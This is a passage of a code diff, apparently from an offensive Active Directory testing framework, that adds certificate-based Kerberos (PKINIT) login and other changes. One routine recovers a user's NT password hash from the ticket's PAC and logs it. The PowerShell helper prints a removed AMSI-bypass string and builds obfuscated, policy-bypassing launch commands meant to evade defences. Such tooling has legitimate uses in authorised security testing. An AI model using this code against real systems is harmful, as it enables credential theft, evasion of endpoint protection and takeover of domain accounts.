+            elif isinstance(dh_params, DirtyDH):
+                self.diffie = dh_params
+            else:
+                raise Exception("DH params must be either a bytearray or a dict")
+
+    def build_asreq(self, domain=None, cname=None, kdcopts=None):
+        if kdcopts is None:
+            kdcopts = ["forwardable", "renewable", "renewable-ok"]
+        if isinstance(kdcopts, list):
+            kdcopts = set(kdcopts)
+        if cname is not None:
+            if isinstance(cname, str):
+                cname = [cname]
+        else:
+            cname = [self.cname]
+
+        now = datetime.datetime.now(datetime.timezone.utc)
+
+        kdc_req_body_data = {}
+        kdc_req_body_data["kdc-options"] = KDCOptions(kdcopts)
+        kdc_req_body_data["cname"] = PrincipalName({"name-type": NAME_TYPE.PRINCIPAL.value, "name-string": cname})
+        kdc_req_body_data["realm"] = domain.upper()
+        kdc_req_body_data["sname"] = PrincipalName({"name-type": NAME_TYPE.SRV_INST.value, "name-string": ["krbtgt", domain.upper()]})
+        kdc_req_body_data["till"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
+        kdc_req_body_data["rtime"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
+        kdc_req_body_data["nonce"] = secrets.randbits(31)
+        kdc_req_body_data["etype"] = [18, 17]  # 23 breaks...
+        kdc_req_body = KDC_REQ_BODY(kdc_req_body_data)
+
+        checksum = hashlib.sha1(kdc_req_body.dump()).digest()
+
+        authenticator = {}
+        authenticator["cusec"] = now.microsecond
+        authenticator["ctime"] = now.replace(microsecond=0)
+        authenticator["nonce"] = secrets.randbits(31)
+        authenticator["paChecksum"] = checksum
+
+        dp = {}
+        dp["p"] = self.diffie.p
+        dp["g"] = self.diffie.g
+        dp["q"] = 0  # mandatory parameter, but it is not needed
+
+        pka = {}
+        pka["algorithm"] = "1.2.840.10046.2.1"
+        pka["parameters"] = keys.DomainParameters(dp)
+
+        spki = {}
+        spki["algorithm"] = keys.PublicKeyAlgorithm(pka)
+        spki["public_key"] = self.diffie.get_public_key()
+
+        authpack = {}
+        authpack["pkAuthenticator"] = PKAuthenticator(authenticator)
+        authpack["clientPublicValue"] = keys.PublicKeyInfo(spki)
+        authpack["clientDHNonce"] = self.diffie.dh_nonce
+
+        authpack = AuthPack(authpack)
+        signed_authpack = self.sign_authpack(authpack.dump(), wrap_signed=True)
+
+        payload = PA_PK_AS_REQ()
+        payload["signedAuthPack"] = signed_authpack
+
+        pa_data_1 = {}
+        pa_data_1["padata-type"] = PaDataType.PK_AS_REQ.value
+        pa_data_1["padata-value"] = payload.dump()
+
+        pa_data_0 = {}
+        pa_data_0["padata-type"] = int(PADATA_TYPE("PA-PAC-REQUEST"))
+        pa_data_0["padata-value"] = PA_PAC_REQUEST({"include-pac": True}).dump()
+
+        asreq = {}
+        asreq["pvno"] = 5
+        asreq["msg-type"] = 10
+        asreq["padata"] = [pa_data_0, pa_data_1]
+        asreq["req-body"] = kdc_req_body
+
+        return AS_REQ(asreq).dump()
+
+    def sign_authpack_native(self, data, wrap_signed=False):
+        """
+        Creating PKCS7 blob which contains the following things:
+
+        1. 'data' blob which is an ASN1 encoded "AuthPack" structure
+        2. the certificate used to sign the data blob
+        3. the singed 'signed_attrs' structure (ASN1) which points to the "data" structure (in point 1)
+        """
+        da = {}
+        da["algorithm"] = algos.DigestAlgorithmId("1.3.14.3.2.26")  # for sha1
+
+        si = {}
+        si["version"] = "v1"
+        si["sid"] = cms.IssuerAndSerialNumber({
+            "issuer":  self.certificate.issuer,
+            "serial_number":  self.certificate.serial_number,
+        })
+
+        si["digest_algorithm"] = algos.DigestAlgorithm(da)
+        si["signed_attrs"] = [
+            cms.CMSAttribute({"type": "content_type", "values": ["1.3.6.1.5.2.3.1"]}),  # indicates that the encap_content_info's authdata struct (marked with OID '1.3.6.1.5.2.3.1' is signed )
+            cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}),  # hash of the data, the data itself will not be signed, but this block of data will be.
+        ]
+        si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"})
+        si["signature"] = rsa_pkcs1v15_sign(self.privkey, cms.CMSAttributes(si["signed_attrs"]).dump(), "sha1")
+
+        ec = {}
+        ec["content_type"] = "1.3.6.1.5.2.3.1"
+        ec["content"] = data
+
+        sd = {}
+        sd["version"] = "v3"
+        sd["digest_algorithms"] = [algos.DigestAlgorithm(da)]  # must have only one
+        sd["encap_content_info"] = cms.EncapsulatedContentInfo(ec)
+        sd["certificates"] = [self.certificate]
+        sd["signer_infos"] = cms.SignerInfos([cms.SignerInfo(si)])
+
+        if wrap_signed is True:
+            ci = {}
+            ci["content_type"] = "1.2.840.113549.1.7.2"  # signed data OID
+            ci["content"] = cms.SignedData(sd)
+            return cms.ContentInfo(ci).dump()
+
+        return cms.SignedData(sd).dump()
+
+    def decrypt_asrep(self, as_rep):
+        def truncate_key(value, keysize):
+            output = b""
+            currentNum = 0
+            while len(output) < keysize:
+                currentDigest = hashlib.sha1(bytes([currentNum]) + value).digest()
+                if len(output) + len(currentDigest) > keysize:
+                    output += currentDigest[:keysize - len(output)]
+                    break
+                output += currentDigest
+                currentNum += 1
+
+            return output
+
+        for pa in as_rep["padata"]:
+            if pa["padata-type"] == 17:
+                pkasrep = PA_PK_AS_REP.load(pa["padata-value"]).native
+                break
+        else:
+            raise Exception("PA_PK_AS_REP not found!")
+        ci = cms.ContentInfo.load(pkasrep["dhSignedData"]).native
+        sd = ci["content"]
+        keyinfo = sd["encap_content_info"]
+        if keyinfo["content_type"] != "1.3.6.1.5.2.3.2":
+            raise Exception("Keyinfo content type unexpected value")
+        authdata = KDCDHKeyInfo.load(keyinfo["content"]).native
+        pubkey = int("".join(["1"] + [str(x) for x in authdata["subjectPublicKey"]]), 2)
+
+        pubkey = int.from_bytes(core.BitString(authdata["subjectPublicKey"]).dump()[7:], "big", signed=False)
+        shared_key = self.diffie.exchange(pubkey)
+
+        server_nonce = pkasrep["serverDHNonce"]
+        fullKey = shared_key + self.diffie.dh_nonce + server_nonce
+
+        etype = as_rep["enc-part"]["etype"]
+        cipher = _enctype_table[etype]
+        if etype == Enctype.AES256:
+            t_key = truncate_key(fullKey, 32)
+        elif etype == Enctype.AES128:
+            t_key = truncate_key(fullKey, 16)
+        elif etype == Enctype.RC4:
+            raise NotImplementedError("RC4 key truncation documentation missing. it is different from AES")
+
+        key = Key(cipher.enctype, t_key)
+        enc_data = as_rep["enc-part"]["cipher"]
+        nxc_logger.info("AS-REP encryption key (you might need this later):")
+        nxc_logger.info(hexlify(t_key).decode("utf-8"))
+        dec_data = cipher.decrypt(key, 3, enc_data)
+        encasrep = EncASRepPart.load(dec_data).native
+        cipher = _enctype_table[int(encasrep["key"]["keytype"])]
+        session_key = Key(cipher.enctype, encasrep["key"]["keyvalue"])
+        return encasrep, session_key, cipher, hexlify(t_key).decode("utf-8")
+
+
+class GETPAC:
+
+    def printPac(self, data, key=None):
+        nthash = None
+        encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0]
+        adIfRelevant = decoder.decode(encTicketPart["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[
+            0]
+        # So here we have the PAC
+        pacType = PACTYPE(adIfRelevant[0]["ad-data"].asOctets())
+        buff = pacType["Buffers"]
+        found = False
+        for _bufferN in range(pacType["cBuffers"]):
+            infoBuffer = PAC_INFO_BUFFER(buff)
+            data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]]
+            nxc_logger.debug(f"TYPE 0x{infoBuffer['ulType']}")
+            if infoBuffer["ulType"] == 2:
+                found = True
+                credinfo = PAC_CREDENTIAL_INFO(data)
+                newCipher = _enctype_table[credinfo["EncryptionType"]]
+                out = newCipher.decrypt(key, 16, credinfo["SerializedData"])
+                type1 = TypeSerialization1(out)
+                # I'm skipping here 4 bytes with its the ReferentID for the pointer
+                newdata = out[len(type1) + 4:]
+                pcc = PAC_CREDENTIAL_DATA(newdata)
+                for cred in pcc["Credentials"]:
+                    credstruct = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"]))
+
+                    nxc_logger.info("Recovered NT Hash")
+                    nxc_logger.info(hexlify(credstruct["NtPassword"]).decode("utf-8"))
+                    nthash = hexlify(credstruct["NtPassword"]).decode("utf-8")
+
+            buff = buff[len(infoBuffer):]
+
+        if not found:
+            nxc_logger.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?")
+        return nthash
+
+    def __init__(self, username, domain, kdcHost, key, tgt):
+        self.__username = username
+        self.__domain = domain.upper()
+        self.__kdcHost = kdcHost
+        self.__asrep_key = key
+        self.__tgt = tgt["KDC_REP"]
+        self.__cipher = tgt["cipher"]
+        self.__sessionKey = tgt["sessionKey"]
+
+    def dump(self):
+        # Try all requested protocols until one works.
+        tgt = self.__tgt
+        cipher = self.__cipher
+        sessionKey = self.__sessionKey
+
+        decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
+
+        # Extract the ticket from the TGT
+        ticket = Ticket()
+        ticket.from_asn1(decodedTGT["ticket"])
+
+        apReq = AP_REQ()
+        apReq["pvno"] = 5
+        apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
+
+        opts = []
+        apReq["ap-options"] = constants.encodeFlags(opts)
+        seq_set(apReq, "ticket", ticket.to_asn1)
+
+        authenticator = Authenticator()
+        authenticator["authenticator-vno"] = 5
+        authenticator["crealm"] = str(decodedTGT["crealm"])
+
+        clientName = Principal()
+        clientName.from_asn1(decodedTGT, "crealm", "cname")
+
+        seq_set(authenticator, "cname", clientName.components_to_asn1)
+
+        now = datetime.datetime.utcnow()
+        authenticator["cusec"] = now.microsecond
+        authenticator["ctime"] = KerberosTime.to_asn1(now)
+
+        nxc_logger.debug("AUTHENTICATOR")
+        nxc_logger.debug(authenticator.prettyPrint() + "\n")
+
+        encodedAuthenticator = encoder.encode(authenticator)
+
+        # Key Usage 7
+        # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
+        # TGS authenticator subkey), encrypted with the TGS session
+        # key (Section 5.5.1)
+        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
+
+        apReq["authenticator"] = noValue
+        apReq["authenticator"]["etype"] = cipher.enctype
+        apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator
+
+        encodedApReq = encoder.encode(apReq)
+
+        tgsReq = TGS_REQ()
+
+        tgsReq["pvno"] = 5
+        tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
+
+        tgsReq["padata"] = noValue
+        tgsReq["padata"][0] = noValue
+        tgsReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
+        tgsReq["padata"][0]["padata-value"] = encodedApReq
+
+        reqBody = seq_set(tgsReq, "req-body")
+
+        opts = []
+        opts.append(constants.KDCOptions.forwardable.value)
+        opts.append(constants.KDCOptions.renewable.value)
+        opts.append(constants.KDCOptions.canonicalize.value)
+        opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
+
+        reqBody["kdc-options"] = constants.encodeFlags(opts)
+
+        serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
+
+        seq_set(reqBody, "sname", serverName.components_to_asn1)
+        reqBody["realm"] = str(decodedTGT["crealm"])
+
+        now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
+
+        reqBody["till"] = KerberosTime.to_asn1(now)
+        reqBody["nonce"] = random.getrandbits(31)
+        seq_set_iter(reqBody, "etype",
+                     (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
+
+        myTicket = ticket.to_asn1(TicketAsn1())
+        seq_set_iter(reqBody, "additional-tickets", (myTicket,))
+        nxc_logger.debug("Final TGS")
+        nxc_logger.debug(tgsReq.prettyPrint())
+
+        message = encoder.encode(tgsReq)
+        nxc_logger.info("Requesting ticket to self with PAC")
+
+        r = sendReceive(message, self.__domain, self.__kdcHost)
+
+        tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
+
+        nxc_logger.debug("TGS_REP")
+        nxc_logger.debug(tgs.prettyPrint())
+
+        cipherText = tgs["ticket"]["enc-part"]["cipher"]
+
+        # Key Usage 2
+        # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
+        #  application session key), encrypted with the service key
+        #  (section 5.4.2)
+
+        # S4USelf + U2U uses this other key
+        plainText = cipher.decrypt(sessionKey, 2, cipherText)
+        specialkey = Key(18, unhexlify(self.__asrep_key))
+        return self.printPac(plainText, specialkey)
+
+
+def pfx_auth(self):
+    """Handles the authentication using a PFX or PEM file"""
+    # Static DH params because the ones generated by cryptography are considered unsafe by AD for some weird reason
+    dhparams = {
+        "p": int("00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff", 16),
+        "g": 2
+    }
+    self.logger.info("Loading certificate and key from file")
+
+    # Load the certificate and key from file
+    if self.args.pfx_cert or self.args.pfx_base64:
+        pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
+        ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
+    elif self.args.pem_cert and self.args.pem_key:
+        ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
+    else:
+        self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
+        return None
+
+    username = self.args.username[0]
+    basename = f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache"
+    log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{basename}"))
+
+    # Request a TGT with the cert data
+    req = ini.build_asreq(self.domain, username)
+    self.logger.info("Requesting TGT")
+
+    sock = KerberosClientSocket(KerberosTarget(self.kdcHost))
+    try:
+        res = sock.sendrecv(req)
+    except Exception as e:
+        self.logger.fail(str(e))
+        return False
+
+    encasrep, session_key, cipher, key = ini.decrypt_asrep(res.native)
+    ccache_minikerberos = CCACHE()
+    ccache_minikerberos.add_tgt(res.native, encasrep)
+    ccache_minikerberos.to_file(log_ccache)
+    self.logger.info(f"Saved TGT to file {log_ccache}")
+    self.logger.info(f"Using Kerberos Cache {log_ccache}")
+    ccache = impacket_CCache.loadFile(log_ccache)
+    principal = f"krbtgt/{self.domain.upper()}@{self.domain.upper()}"
+    creds = ccache.getCredential(principal)
+    if creds is not None:
+        tgt = creds.toTGT()
+        dumper = GETPAC(username, self.domain, self.kdcHost, key, tgt)
+        nthash = dumper.dump()
+        if not self.kerberos:
+            self.hash_login(self.domain, username, nthash)
+        else:
+            self.kerberos_login(self.domain, username, "", nthash, "", self.kdcHost, False)
+
+    self.logger.info("Successfully authenticated using Certificate")
+    return True

nxc/helpers/powershell.py

@@ -13,6 +13,22 @@ import random
 obfuscate_ps_scripts = False
 
 
+def replace_singles(s):
+    """Replaces single quotes with a double quote
+    We do this because quoting is very important in PowerShell, and we are doing multiple layers:
+    Python, MSSQL, and PowerShell. We want to make sure that the command is properly quoted at each layer.
+
+    Args:
+    ----
+        s (str): The string to replace single quotes in.
+
+    Returns:
+    -------
+        str: Original string with single quotes replaced with double.
+    """
+    return s.replace("'", r"\"")
+
+
 def get_ps_script(path):
     """Generates a full path to a PowerShell script given a relative path.
 
@@ -42,19 +58,6 @@ def encode_ps_command(command):
     return b64encode(command.encode("UTF-16LE")).decode()
 
 
-def is_powershell_installed():
-    """
-    Check if PowerShell is installed.
-
-    Returns
-    -------
-        bool: True if PowerShell is installed, False otherwise.
-    """
-    if which("powershell"):
-        return True
-    return False
-
-
 def obfs_ps_script(path_to_script):
     """
     Obfuscates a PowerShell script.
@@ -76,7 +79,7 @@ def obfs_ps_script(path_to_script):
     obfs_script_dir = os.path.join(NXC_PATH, "obfuscated_scripts")
     obfs_ps_script = os.path.join(obfs_script_dir, ps_script)
 
-    if is_powershell_installed() and obfuscate_ps_scripts:
+    if bool(which("powershell")) and obfuscate_ps_scripts:
         if os.path.exists(obfs_ps_script):
             nxc_logger.display("Using cached obfuscated Powershell script")
             with open(obfs_ps_script) as script:
@@ -102,97 +105,71 @@ def obfs_ps_script(path_to_script):
             and debug statements from a PowerShell source file.
             """
             # strip block comments
-            stripped_code = re.sub(re.compile("<#.*?#>", re.DOTALL), "", script.read())
+            stripped_code = re.sub(re.compile(r"<#.*?#>", re.DOTALL), "", script.read())
             # strip blank lines, lines starting with #, and verbose/debug statements
             return "\n".join([line for line in stripped_code.split("\n") if ((line.strip() != "") and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))])
 
 
-
-def create_ps_command(ps_command, force_ps32=False, dont_obfs=False, custom_amsi=None):
+def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True):
     """
     Generates a PowerShell command based on the provided `ps_command` parameter.
 
     Args:
     ----
         ps_command (str): The PowerShell command to be executed.
-
         force_ps32 (bool, optional): Whether to force PowerShell to run in 32-bit mode. Defaults to False.
-
-        dont_obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
-
+        obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
         custom_amsi (str, optional): Path to a custom AMSI bypass script. Defaults to None.
+        encode (bool, optional): Whether to encode the generated command (executed via -enc in PS). Defaults to True.
 
     Returns:
     -------
         str: The generated PowerShell command.
     """
+    nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}")
+
     if custom_amsi:
+        nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}")
         with open(custom_amsi) as file_in:
             lines = list(file_in)
             amsi_bypass = "".join(lines)
     else:
-        amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
-try{
-[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true)
-}catch{}
-"""
+        amsi_bypass = ""
 
-    command = amsi_bypass + f"\n$functions = {{\n    function Command-ToExecute\n    {{\n{amsi_bypass + ps_command}\n    }}\n}}\nif ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')\n{{\n    $job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32\n    $job | Wait-Job\n}}\nelse\n{{\n    IEX \"$functions\"\n    Command-ToExecute\n}}\n" if force_ps32 else amsi_bypass + ps_command
+    # for readability purposes, we do not do a one-liner
+    if force_ps32:  # noqa: SIM108
+        # https://stackoverflow.com/a/60155248
+        command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
+    else:
+        command = f"{amsi_bypass} {ps_command}"
 
     nxc_logger.debug(f"Generated PS command:\n {command}\n")
 
-    # We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed
-    # concurrently it would spawn a local powershell process per host which isn't ideal, until I figure out a good way
-    # of dealing with this  it will use the partial python implementation that I stole from GreatSCT
-    # (https://github.com/GreatSCT/GreatSCT) <3
-
-    """
-    if is_powershell_installed():
-
-        temp = tempfile.NamedTemporaryFile(prefix='nxc_',
-                                           suffix='.ps1',
-                                           dir='/tmp')
-        temp.write(command)
-        temp.read()
-
-        encoding_types = [1,2,3,4,5,6]
-        while True:
-            encoding = random.choice(encoding_types)
-            invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "ENCODING,{}" -Quiet\''.format(get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'),
-                                                                                                                                              temp.name,
-                                                                                                                                              encoding)
-            nxc_logger.debug(invoke_obfs_command)
-            out = check_output(invoke_obfs_command, shell=True).split('\n')[4].strip()
-
-            command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "{}"'.format(out)
-            nxc_logger.debug('Command length: {}'.format(len(command)))
-
-            if len(command) <= 8192:
-                temp.close()
-                break
-
-            encoding_types.remove(encoding)
-    
-    else:
-    """
-    if not dont_obfs:
+    if obfs:
+        nxc_logger.debug("Obfuscating PowerShell command")
         obfs_attempts = 0
         while True:
-            command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{invoke_obfuscation(command)}"'
+            nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}")
+            obfs_command = invoke_obfuscation(command)
+
+            command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"'
             if len(command) <= 8191:
                 break
-
             if obfs_attempts == 4:
                 nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
                 exit(1)
-
+            nxc_logger.debug(f"Obfuscation length too long with {len(command)}, trying again...")
             obfs_attempts += 1
     else:
-        command = f"powershell.exe -noni -nop -w 1 -enc {encode_ps_command(command)}"
+        # if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error
+        command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"'
+        command = f"powershell.exe -noni -nop -w 1 {command}"
+
         if len(command) > 8191:
             nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
             exit(1)
 
+    nxc_logger.debug(f"Final command: {command}")
     return command
 
 
@@ -320,6 +297,7 @@ def invoke_obfuscation(script_string):
     -------
         str: The obfuscated payload for execution.
     """
+    nxc_logger.debug(f"Command before obfuscation: {script_string}")
     random_alphabet = "".join(random.choice([i.upper(), i]) for i in ascii_lowercase)
     random_delimiters = ["_", "-", ",", "{", "}", "~", "!", "@", "%", "&", "<", ">", ";", ":", *list(random_alphabet)]
 
@@ -436,5 +414,6 @@ def invoke_obfuscation(script_string):
         choice(["", " "]) + new_script + choice(["", " "]) + "|" + choice(["", " "]) + invoke_expression,
     ]
 
-    return choice(invoke_options)
-
+    obfuscated_script = choice(invoke_options)
+    nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}")
+    return obfuscated_script

nxc/loaders/moduleloader.py

@@ -8,6 +8,7 @@ from os.path import dirname
 from os.path import join as path_join
 
 from nxc.context import Context
+from nxc.helpers.misc import CATEGORY
 from nxc.logger import NXCAdapter
 from nxc.paths import NXC_PATH
 
@@ -24,18 +25,18 @@ class ModuleLoader:
         if not hasattr(module, "name"):
             self.logger.fail(f"{module_path} missing the name variable")
             module_error = True
+        elif hasattr(module, "name") and module.name != module_path.split("/")[-1].split("\\")[-1][:-3]:
+            self.logger.fail(f"{module_path} filename must match the module name {module.name}")
+            module_error = True
         elif not hasattr(module, "description"):
             self.logger.fail(f"{module_path} missing the description variable")
             module_error = True
+        elif not hasattr(module, "category") or module.category not in [CATEGORY.ENUMERATION, CATEGORY.CREDENTIAL_DUMPING, CATEGORY.PRIVILEGE_ESCALATION]:
+            self.logger.fail(f"{module_path} missing the category variable or invalid category")
+            module_error = True
         elif not hasattr(module, "supported_protocols"):
             self.logger.fail(f"{module_path} missing the supported_protocols variable")
             module_error = True
-        elif not hasattr(module, "opsec_safe"):
-            self.logger.fail(f"{module_path} missing the opsec_safe variable")
-            module_error = True
-        elif not hasattr(module, "multiple_hosts"):
-            self.logger.fail(f"{module_path} missing the multiple_hosts variable")
-            module_error = True
         elif not hasattr(module, "options"):
             self.logger.fail(f"{module_path} missing the options function")
             module_error = True
@@ -43,9 +44,7 @@ class ModuleLoader:
             self.logger.fail(f"{module_path} missing the on_login/on_admin_login function(s)")
             module_error = True
 
-        if module_error:
-            return False
-        return True
+        return not module_error
 
     def load_module(self, module_path):
         """Load a module, initializing it and checking that it has the proper attributes"""
@@ -92,13 +91,12 @@ class ModuleLoader:
             module_spec = spec.loader.load_module().NXCModule
 
             module = {
-                f"{module_spec.name.lower()}": {
+                f"{module_spec.name}": {
                     "path": module_path,
                     "description": module_spec.description,
                     "options": module_spec.options.__doc__,
                     "supported_protocols": module_spec.supported_protocols,
-                    "opsec_safe": module_spec.opsec_safe,
-                    "multiple_hosts": module_spec.multiple_hosts,
+                    "category": module_spec.category,
                     "requires_admin": bool(hasattr(module_spec, "on_admin_login") and callable(module_spec.on_admin_login)),
                 }
             }

nxc/loaders/protocolloader.py

@@ -2,14 +2,12 @@ from types import ModuleType
 from importlib.machinery import SourceFileLoader
 from os import listdir
 from os.path import join as path_join
-from os.path import dirname, exists, expanduser
+from os.path import dirname, exists
+
 import nxc
 
 
 class ProtocolLoader:
-    def __init__(self):
-        self.nxc_path = expanduser("~/.nxc")
-
     def load_protocol(self, protocol_path):
         loader = SourceFileLoader("protocol", protocol_path)
         protocol = ModuleType(loader.name)
@@ -18,27 +16,22 @@ class ProtocolLoader:
 
     def get_protocols(self):
         protocols = {}
-        protocol_paths = [
-            path_join(dirname(nxc.__file__), "protocols"),
-            path_join(self.nxc_path, "protocols"),
-        ]
 
-        for path in protocol_paths:
-            for protocol in listdir(path):
-                if protocol[-3:] == ".py" and protocol[:-3] != "__init__":
-                    protocol_path = path_join(path, protocol)
-                    protocol_name = protocol[:-3]
+        proto_path = path_join(dirname(nxc.__file__), "protocols")
+        for protocol in listdir(proto_path):
+            if protocol[-3:] == ".py" and protocol[:-3] != "__init__":
+                protocol_path = path_join(proto_path, protocol)
+                protocol_name = protocol[:-3]
 
-                    protocols[protocol_name] = {"path": protocol_path}
-
-                    db_file_path = path_join(path, protocol_name, "database.py")
-                    db_nav_path = path_join(path, protocol_name, "db_navigator.py")
-                    protocol_args_path = path_join(path, protocol_name, "proto_args.py")
-                    if exists(db_file_path):
-                        protocols[protocol_name]["dbpath"] = db_file_path
-                    if exists(db_nav_path):
-                        protocols[protocol_name]["nvpath"] = db_nav_path
-                    if exists(protocol_args_path):
-                        protocols[protocol_name]["argspath"] = protocol_args_path
+                protocols[protocol_name] = {"path": protocol_path}
 
+                db_file_path = path_join(proto_path, protocol_name, "database.py")
+                db_nav_path = path_join(proto_path, protocol_name, "db_navigator.py")
+                protocol_args_path = path_join(proto_path, protocol_name, "proto_args.py")
+                if exists(db_file_path):
+                    protocols[protocol_name]["dbpath"] = db_file_path
+                if exists(db_nav_path):
+                    protocols[protocol_name]["nvpath"] = db_nav_path
+                if exists(protocol_args_path):
+                    protocols[protocol_name]["argspath"] = protocol_args_path
         return protocols

nxc/logger.py

@@ -3,37 +3,112 @@ from logging import LogRecord
 from logging.handlers import RotatingFileHandler
 import os.path
 import sys
-import re
-from nxc.helpers.misc import called_from_cmd_args
 from nxc.console import nxc_console
+from nxc.paths import NXC_PATH
 from termcolor import colored
 from datetime import datetime
 from rich.text import Text
 from rich.logging import RichHandler
+import functools
+import inspect
+import argparse
+
+
+def parse_debug_args():
+    debug_parser = argparse.ArgumentParser(add_help=False)
+    debug_parser.add_argument("--debug", action="store_true")
+    debug_parser.add_argument("--verbose", action="store_true")
+    args, _ = debug_parser.parse_known_args()
+    return args
+
+
+def setup_debug_logging():
+    debug_args = parse_debug_args()
+    root_logger = logging.getLogger("root")
+
+    if debug_args.verbose:
+        nxc_logger.logger.setLevel(logging.INFO)
+        root_logger.setLevel(logging.INFO)
+    elif debug_args.debug:
+        nxc_logger.logger.setLevel(logging.DEBUG)
+        root_logger.setLevel(logging.DEBUG)
+    else:
+        nxc_logger.logger.setLevel(logging.ERROR)
+        root_logger.setLevel(logging.ERROR)
+
+
+def create_temp_logger(caller_frame, formatted_text, args, kwargs):
+    """Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated"""
+    temp_logger = logging.getLogger("temp")
+    formatter = logging.Formatter("%(message)s", datefmt="[%X]")
+    handler = SmartDebugRichHandler(formatter=formatter)
+    handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, None, caller_frame=caller_frame))
+
+
+class SmartDebugRichHandler(RichHandler):
+    """Custom logging handler for when we want to log normal messages to DEBUG and not double log"""
+
+    def __init__(self, formatter=None, *args, **kwargs):
+        super().__init__(*args, **kwargs)
+        if formatter is not None:
+            self.setFormatter(formatter)
+
+    def emit(self, record):
+        """Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
+        if hasattr(record, "caller_frame"):
+            frame_info = inspect.getframeinfo(record.caller_frame)
+            record.pathname = frame_info.filename
+            record.lineno = frame_info.lineno
+        super().emit(record)
+
+
+def no_debug(func):
+    """Stops logging non-debug messages when we are in debug mode
+    It creates a temporary logger and logs the message to the console and file
+    This is so we don't get both normal output AND debugging output, AND so we get the proper log calling file & line number
+    """
+    @functools.wraps(func)
+    def wrapper(self, msg, *args, **kwargs):
+        if self.logger.getEffectiveLevel() >= logging.INFO:
+            return func(self, msg, *args, **kwargs)
+        else:
+            formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0])
+            caller_frame = inspect.currentframe().f_back
+            create_temp_logger(caller_frame, formatted_text, args, kwargs)
+            self.log_console_to_file(formatted_text, *args, **kwargs)
+    return wrapper
 
 
 class NXCAdapter(logging.LoggerAdapter):
-    def __init__(self, extra=None):
+    def __init__(self, extra=None, merge_extra=False):
         logging.basicConfig(
             format="%(message)s",
             datefmt="[%X]",
-            handlers=[
-                RichHandler(
-                    console=nxc_console,
-                    rich_tracebacks=True,
-                    tracebacks_show_locals=False,
-                )
-            ],
+            handlers=[RichHandler(
+                console=nxc_console,
